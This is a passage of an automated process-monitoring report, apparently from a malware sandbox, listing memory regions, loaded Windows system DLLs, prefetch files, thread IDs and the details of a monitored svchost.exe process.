"c:\\windows\\system32\\pcasvc.dll") Region: id = 6428 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 6483 start_va = 0xa2eb530000 end_va = 0xa2eb5affff entry_point = 0x0 region_type = private name = "private_0x000000a2eb530000" filename = "" Region: id = 6484 start_va = 0x7ff617693000 end_va = 0x7ff617694fff entry_point = 0x0 region_type = private name = "private_0x00007ff617693000" filename = "" Region: id = 6485 start_va = 0x7ffd1a130000 end_va = 0x7ffd1a14bfff entry_point = 0x7ffd1a130000 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 6486 start_va = 0x7ffd1b950000 end_va = 0x7ffd1b9dafff entry_point = 0x7ffd1b951024 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 6487 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 6488 start_va = 0x7ffd1a3a0000 end_va = 0x7ffd1a3affff entry_point = 0x7ffd1a3a0000 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 6489 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 6490 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 6494 start_va = 0x7ffd13c60000 end_va = 0x7ffd13d92fff entry_point = 0x7ffd13c60000 region_type = mapped_file name = "sysmain.dll" filename = "\\Windows\\System32\\sysmain.dll" (normalized: "c:\\windows\\system32\\sysmain.dll") Region: id = 6500 start_va = 0xa2eb5b0000 end_va = 0xa2eb62ffff entry_point = 0x0 region_type = private name = "private_0x000000a2eb5b0000" filename = "" Region: id = 6501 start_va = 0x7ff61756e000 end_va = 0x7ff61756ffff entry_point = 0x0 region_type = private name = "private_0x00007ff61756e000" filename = "" Region: id = 6502 start_va = 0xa2eb630000 end_va = 0xa2eb6affff entry_point = 0x0 region_type = private name = "private_0x000000a2eb630000" filename = "" Region: id = 6503 start_va = 0xa2eb6b0000 end_va = 0xa2eb72ffff entry_point = 0x0 region_type = private name = "private_0x000000a2eb6b0000" filename = "" Region: id = 6504 start_va = 0x7ff61756a000 end_va = 0x7ff61756bfff entry_point = 0x0 region_type = private name = "private_0x00007ff61756a000" filename = "" Region: id = 6505 start_va = 0x7ff61756c000 end_va = 0x7ff61756dfff entry_point = 0x0 region_type = private name = "private_0x00007ff61756c000" filename = "" Region: id = 6506 start_va = 0xa2eb730000 end_va = 0xa2eb7affff entry_point = 0x0 region_type = private name = "private_0x000000a2eb730000" filename = "" Region: id = 6507 start_va = 0x7ff617568000 end_va = 0x7ff617569fff entry_point = 0x0 region_type = private name = "private_0x00007ff617568000" filename = "" Region: id = 6512 start_va = 0xa2eb7b0000 end_va = 0xa2eb8affff entry_point = 0x0 region_type = private name = "private_0x000000a2eb7b0000" filename = "" Region: id = 6515 start_va = 0xa2eb8b0000 end_va = 0xa2eb9cffff entry_point = 0x0 region_type = private name = "private_0x000000a2eb8b0000" filename = "" Region: id = 6516 start_va = 0xa2eb9d0000 end_va = 0xa3eb9cffff entry_point = 0x0 region_type = private name = "private_0x000000a2eb9d0000" filename = "" Region: id = 6517 start_va = 0x7ffd18dd0000 end_va = 0x7ffd18df1fff entry_point = 0x7ffd18dd0000 region_type = mapped_file name = "trkwks.dll" filename = "\\Windows\\System32\\trkwks.dll" (normalized: "c:\\windows\\system32\\trkwks.dll") Region: id = 6553 start_va = 0xa2eb8b0000 end_va = 0xa2eb92ffff entry_point = 0x0 region_type = private name = "private_0x000000a2eb8b0000" filename = "" Region: id = 6554 start_va = 0xa2eb9b0000 end_va = 0xa2eb9cffff entry_point = 0x0 region_type = private name = "private_0x000000a2eb9b0000" filename = "" Region: id = 6555 start_va = 0x7ff617566000 end_va = 0x7ff617567fff entry_point = 0x0 region_type = private name = "private_0x00007ff617566000" filename = "" Region: id = 6886 start_va = 0x7ffd13160000 end_va = 0x7ffd13188fff entry_point = 0x7ffd13160000 region_type = mapped_file name = "ncbservice.dll" filename = "\\Windows\\System32\\ncbservice.dll" (normalized: "c:\\windows\\system32\\ncbservice.dll") Region: id = 6902 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 6903 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 6904 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 6905 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 6947 start_va = 0x7ffd12fa0000 end_va = 0x7ffd12fc3fff entry_point = 0x7ffd12fa0000 region_type = mapped_file name = "brokerlib.dll" filename = "\\Windows\\System32\\BrokerLib.dll" (normalized: "c:\\windows\\system32\\brokerlib.dll") Region: id = 6949 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 6959 start_va = 0x7ffd19f40000 end_va = 0x7ffd19f4afff entry_point = 0x7ffd19f43d60 region_type = mapped_file name = "bi.dll" filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll") Region: id = 6960 start_va = 0xa3eb9d0000 end_va = 0xa3ebb46fff entry_point = 0xa3eb9d10b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6973 start_va = 0x7ffd13100000 end_va = 0x7ffd13117fff entry_point = 0x7ffd13100000 region_type = mapped_file name = "wpdbusenum.dll" filename = "\\Windows\\System32\\wpdbusenum.dll" (normalized: "c:\\windows\\system32\\wpdbusenum.dll") Region: id = 6974 start_va = 0x7ffd12e20000 end_va = 0x7ffd12ec5fff entry_point = 0x7ffd12e20000 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 7003 start_va = 0x7ffd1c5e0000 end_va = 0x7ffd1c637fff entry_point = 0x7ffd1c5e1010 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 7005 start_va = 0x7ffd1db40000 end_va = 0x7ffd1dd15fff entry_point = 0x7ffd1db410c0 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 7023 start_va = 0x7ffd12ba0000 end_va = 0x7ffd12bb4fff entry_point = 0x7ffd12ba0000 region_type = mapped_file name = "portabledeviceconnectapi.dll" filename = "\\Windows\\System32\\PortableDeviceConnectApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceconnectapi.dll") Region: id = 7030 start_va = 0x7ffd1d000000 end_va = 0x7ffd1d04dfff entry_point = 0x7ffd1d001278 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 7031 start_va = 0x7ffd1ce20000 end_va = 0x7ffd1cff6fff entry_point = 0x7ffd1ce210a4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 7032 start_va = 0x7ffd1cd50000 end_va = 0x7ffd1cd61fff entry_point = 0x7ffd1cd510f4 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 7033 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7034 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 7136 start_va = 0xa2eb930000 end_va = 0xa2eb9affff entry_point = 0x0 region_type = private name = "private_0x000000a2eb930000" filename = "" Region: id = 7137 start_va = 0x7ff617564000 end_va = 0x7ff617565fff entry_point = 0x0 region_type = private name = "private_0x00007ff617564000" filename = "" Region: id = 7138 start_va = 0x7ffd17840000 end_va = 0x7ffd178f6fff entry_point = 0x7ffd178410a8 region_type = mapped_file name = "twinapi.dll" filename = "\\Windows\\System32\\twinapi.dll" (normalized: "c:\\windows\\system32\\twinapi.dll") Region: id = 7139 start_va = 0xa3eb9d0000 end_va = 0xa3ebacffff entry_point = 0x0 region_type = private name = "private_0x000000a3eb9d0000" filename = "" Region: id = 7213 start_va = 0x7ffd15310000 end_va = 0x7ffd1534cfff entry_point = 0x7ffd153158fc region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 7214 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 7215 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 7237 start_va = 0xa2eb5b0000 end_va = 0xa2eb62ffff entry_point = 0x0 region_type = private name = "private_0x000000a2eb5b0000" filename = "" Region: id = 7238 start_va = 0x7ff61756e000 end_va = 0x7ff61756ffff entry_point = 0x0 region_type = private name = "private_0x00007ff61756e000" filename = "" Region: id = 7239 start_va = 0x7ffd13010000 end_va = 0x7ffd1301dfff entry_point = 0x7ffd13016ff4 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 7395 start_va = 0xa3ebad0000 end_va = 0xa3ebb4ffff entry_point = 0x0 region_type = private name = "private_0x000000a3ebad0000" filename = "" Region: id = 7396 start_va = 0x7ff617562000 end_va = 0x7ff617563fff entry_point = 0x0 region_type = private name = "private_0x00007ff617562000" filename = "" Region: id = 9291 start_va = 0x7ffd195b0000 end_va = 0x7ffd195dffff entry_point = 0x7ffd195b5ca0 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 9296 start_va = 0xa2eb3b0000 end_va = 0xa2eb42ffff entry_point = 0x0 region_type = private name = "private_0x000000a2eb3b0000" filename = "" Region: id = 9297 start_va = 0x7ff617697000 end_va = 0x7ff617698fff entry_point = 0x0 region_type = private name = "private_0x00007ff617697000" filename = "" Region: id = 9298 start_va = 0x7ffd190d0000 end_va = 0x7ffd1926cfff entry_point = 0x7ffd190d135c region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 9299 start_va = 0x7ffd1cae0000 end_va = 0x7ffd1cb0afff entry_point = 0x7ffd1cae1490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 9311 start_va = 0x7ffd197f0000 end_va = 0x7ffd19827fff entry_point = 0x7ffd197f1034 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 9316 start_va = 0xa3ebb50000 end_va = 0xa3ebc4ffff entry_point = 0x0 region_type = private name = "private_0x000000a3ebb50000" filename = "" Region: id = 9317 start_va = 0xa2eb090000 end_va = 0xa2eb090fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb090000" filename = "" Region: id = 9318 start_va = 0xa2eb090000 end_va = 0xa2eb090fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb090000" filename = "" Region: id = 9319 start_va = 0xa2eb090000 end_va = 0xa2eb090fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb090000" filename = "" Region: id = 9320 start_va = 0xa2eb090000 end_va = 0xa2eb090fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb090000" filename = "" Region: id = 9321 start_va = 0xa2eb090000 end_va = 0xa2eb090fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb090000" filename = "" Region: id = 9322 start_va = 0xa2eb090000 end_va = 0xa2eb090fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb090000" filename = "" Region: id = 9323 start_va = 0xa2eb090000 end_va = 0xa2eb090fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb090000" filename = "" Region: id = 9324 start_va = 0xa2eb090000 end_va = 0xa2eb090fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb090000" filename = "" Region: id = 9325 start_va = 0xa2eb090000 end_va = 0xa2eb090fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb090000" filename = "" Region: id = 9326 start_va = 0xa2eb090000 end_va = 0xa2eb090fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb090000" filename = "" Region: id = 9327 start_va = 0xa2eb090000 end_va = 0xa2eb090fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb090000" filename = "" Region: id = 9328 start_va = 0xa2eb3b0000 end_va = 0xa2eb3e0fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb3b0000" filename = "" Region: id = 9329 start_va = 0xa2eb0a0000 end_va = 0xa2eb0a1fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb0a0000" filename = "" Region: id = 9330 start_va = 0xa2eb090000 end_va = 0xa2eb096fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb090000" filename = "" Region: id = 9331 start_va = 0xa2eb0a0000 end_va = 0xa2eb0a0fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb0a0000" filename = "" Region: id = 9332 start_va = 0xa2eb0b0000 end_va = 0xa2eb0b1fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb0b0000" filename = "" Region: id = 9333 start_va = 0xa2eb0a0000 end_va = 0xa2eb0a0fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb0a0000" filename = "" Region: id = 9336 start_va = 0x7ffd137c0000 end_va = 0x7ffd137c8fff entry_point = 0x7ffd137c0000 region_type = mapped_file name = "systemeventsbrokerclient.dll" filename = "\\Windows\\System32\\SystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\systemeventsbrokerclient.dll") Region: id = 9337 start_va = 0xa2eb0a0000 end_va = 0xa2eb0a2fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb0a0000" filename = "" Region: id = 9338 start_va = 0xa2eb0b0000 end_va = 0xa2eb0b1fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb0b0000" filename = "" Region: id = 9339 start_va = 0xa2eb0a0000 end_va = 0xa2eb0a0fff entry_point = 0xa2eb0a0000 region_type = mapped_file name = "pfsvperfstats.bin" filename = "\\Windows\\Prefetch\\PfSvPerfStats.bin" (normalized: "c:\\windows\\prefetch\\pfsvperfstats.bin") Region: id = 9340 start_va = 0xa2eb3b0000 end_va = 0xa2eb42ffff entry_point = 0x0 region_type = private name = "private_0x000000a2eb3b0000" filename = "" Region: id = 9341 start_va = 0xa3ebc50000 end_va = 0xa3ebccffff entry_point = 0x0 region_type = private name = "private_0x000000a3ebc50000" filename = "" Region: id = 9342 start_va = 0x7ff617560000 end_va = 0x7ff617561fff entry_point = 0x0 region_type = private name = "private_0x00007ff617560000" filename = "" Region: id = 9343 start_va = 0x7ff617697000 end_va = 0x7ff617698fff entry_point = 0x0 region_type = private name = "private_0x00007ff617697000" filename = "" Region: id = 9344 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 9345 start_va = 0xa2eb0a0000 end_va = 0xa2eb0c7fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb0a0000" filename = "" Region: id = 9346 start_va = 0xa3ebcd0000 end_va = 0xa3ebcd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000a3ebcd0000" filename = "" Region: id = 9347 start_va = 0x7ffd167a0000 end_va = 0x7ffd16a4efff entry_point = 0x7ffd167a1ee4 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 9348 start_va = 0xa3ebce0000 end_va = 0xa3ebce6fff entry_point = 0xa3ebce0000 region_type = mapped_file name = "dllhost.exe-74cfcb84.pf" filename = "\\Windows\\Prefetch\\DLLHOST.EXE-74CFCB84.pf" (normalized: "c:\\windows\\prefetch\\dllhost.exe-74cfcb84.pf") Region: id = 9349 start_va = 0xa3ebcf0000 end_va = 0xa3ebeeffff entry_point = 0x0 region_type = private name = "private_0x000000a3ebcf0000" filename = "" Region: id = 9350 start_va = 0xa3ebce0000 end_va = 0xa3ebce3fff entry_point = 0xa3ebce0000 region_type = mapped_file name = "armsvc.exe-28c8c2ba.pf" filename = "\\Windows\\Prefetch\\ARMSVC.EXE-28C8C2BA.pf" (normalized: "c:\\windows\\prefetch\\armsvc.exe-28c8c2ba.pf") Region: id = 9353 start_va = 0xa3ebc50000 end_va = 0xa3ebc5dfff entry_point = 0xa3ebc50000 region_type = mapped_file name = "taskhost.exe-9d9f554c.pf" filename = "\\Windows\\Prefetch\\TASKHOST.EXE-9D9F554C.pf" (normalized: "c:\\windows\\prefetch\\taskhost.exe-9d9f554c.pf") Region: id = 9354 start_va = 0xa3ebc50000 end_va = 0xa3ebc54fff entry_point = 0xa3ebc50000 region_type = mapped_file name = "svchost.exe-135a30d8.pf" filename = "\\Windows\\Prefetch\\SVCHOST.EXE-135A30D8.pf" (normalized: "c:\\windows\\prefetch\\svchost.exe-135a30d8.pf") Region: id = 9355 start_va = 0xa3ebc50000 end_va = 0xa3ebc56fff entry_point = 0xa3ebc50000 region_type = mapped_file name = "mobsync.exe-d8bc6ed2.pf" filename = "\\Windows\\Prefetch\\MOBSYNC.EXE-D8BC6ED2.pf" (normalized: "c:\\windows\\prefetch\\mobsync.exe-d8bc6ed2.pf") Region: id = 9356 start_va = 0xa3ebc50000 end_va = 0xa3ebc55fff entry_point = 0xa3ebc50000 region_type = mapped_file name = "audiodg.exe-d0d776ac.pf" filename = "\\Windows\\Prefetch\\AUDIODG.EXE-D0D776AC.pf" (normalized: "c:\\windows\\prefetch\\audiodg.exe-d0d776ac.pf") Region: id = 9761 start_va = 0xa2eb3b0000 end_va = 0xa2eb3b3fff entry_point = 0xa2eb3b0000 region_type = mapped_file name = "thumbnailextractionhost.exe-64f19b6a.pf" filename = "\\Windows\\Prefetch\\THUMBNAILEXTRACTIONHOST.EXE-64F19B6A.pf" (normalized: "c:\\windows\\prefetch\\thumbnailextractionhost.exe-64f19b6a.pf") Region: id = 10979 start_va = 0xa2eb3b0000 end_va = 0xa2eb3c5fff entry_point = 0xa2eb3b0000 region_type = mapped_file name = "sppsvc.exe-cbe91656.pf" filename = "\\Windows\\Prefetch\\SPPSVC.EXE-CBE91656.pf" (normalized: "c:\\windows\\prefetch\\sppsvc.exe-cbe91656.pf") Region: id = 10991 start_va = 0xa2eb3b0000 end_va = 0xa2eb3d8fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb3b0000" filename = "" Region: id = 10992 start_va = 0xa3ebef0000 end_va = 0xa3ebf88fff entry_point = 0x0 region_type = private name = "private_0x000000a3ebef0000" filename = "" Region: id = 10993 start_va = 0xa2eb3e0000 end_va = 0xa2eb3e1fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb3e0000" filename = "" Region: id = 10994 start_va = 0xa2eb3b0000 end_va = 0xa2eb3e1fff entry_point = 0x0 region_type = private name = "private_0x000000a2eb3b0000" filename = "" Region: id = 10995 start_va = 0xa2eb3b0000 end_va = 0xa2eb42ffff entry_point = 0x0 region_type = private name = "private_0x000000a2eb3b0000" filename = "" Region: id = 10996 start_va = 0x7ff617697000 end_va = 0x7ff617698fff entry_point = 0x0 region_type = private name = "private_0x00007ff617697000" filename = "" Thread: id = 326 os_tid = 0x37c Thread: id = 328 os_tid = 0x384 Thread: id = 330 os_tid = 0x38c Thread: id = 334 os_tid = 0x398 Thread: id = 335 os_tid = 0x39c Thread: id = 342 os_tid = 0x3b8 Thread: id = 583 os_tid = 0x6f0 Thread: id = 586 os_tid = 0x700 Thread: id = 587 os_tid = 0x704 Thread: id = 588 os_tid = 0x708 Thread: id = 589 os_tid = 0x70c Thread: id = 590 os_tid = 0x710 Thread: id = 592 os_tid = 0x718 Thread: id = 594 os_tid = 0x720 Thread: id = 643 os_tid = 0x7f0 Thread: id = 645 os_tid = 0x7f8 Thread: id = 678 os_tid = 0x3a4 Thread: id = 692 os_tid = 0x73c Thread: id = 703 os_tid = 0x43c Thread: id = 839 os_tid = 0xa10 Thread: id = 840 os_tid = 0xa14 Thread: id = 843 os_tid = 0xa20 Thread: id = 844 os_tid = 0xa24 Thread: id = 1010 os_tid = 0x510 Process: id = "49" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x623ca000" os_pid = "0xe0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "39" os_parent_pid = "0x1cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000caa9" [0xc000000f], "LOCAL" [0x7] Region: id = 4337 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4338 start_va = 0xbd845c0000 end_va = 0xbd845dffff entry_point = 0x0 region_type = private name = "private_0x000000bd845c0000" filename = "" Region: id = 4339 start_va = 0xbd845e0000 end_va = 0xbd845eefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd845e0000" filename = "" Region: id = 4340 start_va = 0xbd845f0000 end_va = 0xbd8466ffff entry_point = 0x0 region_type = private name = "private_0x000000bd845f0000" filename = "" Region: id = 4341 start_va = 0xbd84670000 end_va = 0xbd84673fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd84670000" filename = "" Region: id = 4342 start_va = 0x7ff617350000 end_va = 0x7ff617372fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff617350000" filename = "" Region: id = 4343 start_va = 0x7ff61737c000 end_va = 0x7ff61737dfff entry_point = 0x0 region_type = private name = "private_0x00007ff61737c000" filename = "" Region: id = 4344 start_va = 0x7ff61737e000 end_va = 0x7ff61737efff entry_point = 0x0 region_type = private name = "private_0x00007ff61737e000" filename = "" Region: id = 4345 start_va = 0x7ff618320000 end_va = 0x7ff61832bfff entry_point = 0x7ff61832218c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 4346 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4347 start_va = 0xbd84680000 end_va = 0xbd84680fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd84680000" filename = "" Region: id = 4348 start_va = 0xbd84690000 end_va = 0xbd84691fff entry_point = 0x0 region_type = private name = "private_0x000000bd84690000" filename = "" Region: id = 4350 start_va = 0xbd847f0000 end_va = 0xbd848effff entry_point = 0x0 region_type = private name = "private_0x000000bd847f0000" filename = "" Region: id = 4351 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4352 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4353 start_va = 0xbd845c0000 end_va = 0xbd845cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bd845c0000" filename = "" Region: id = 4354 start_va = 0x7ff617250000 end_va = 0x7ff61734ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff617250000" filename = "" Region: id = 4355 start_va = 0xbd846a0000 end_va = 0xbd8471dfff entry_point = 0xbd846a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4356 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4357 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4358 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 4359 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4360 start_va = 0xbd848f0000 end_va = 0xbd849effff entry_point = 0x0 region_type = private name = "private_0x000000bd848f0000" filename = "" Region: id = 4361 start_va = 0xbd845d0000 end_va = 0xbd845d6fff entry_point = 0x0 region_type = private name = "private_0x000000bd845d0000" filename = "" Region: id = 4362 start_va = 0xbd84720000 end_va = 0xbd847d9fff entry_point = 0xbd8474c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4363 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 4364 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4365 start_va = 0xbd84720000 end_va = 0xbd84726fff entry_point = 0x0 region_type = private name = "private_0x000000bd84720000" filename = "" Region: id = 4366 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: 